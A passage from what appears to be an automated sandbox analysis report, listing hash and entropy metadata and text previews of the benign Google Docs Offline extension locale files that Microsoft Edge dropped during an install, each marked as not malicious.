SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
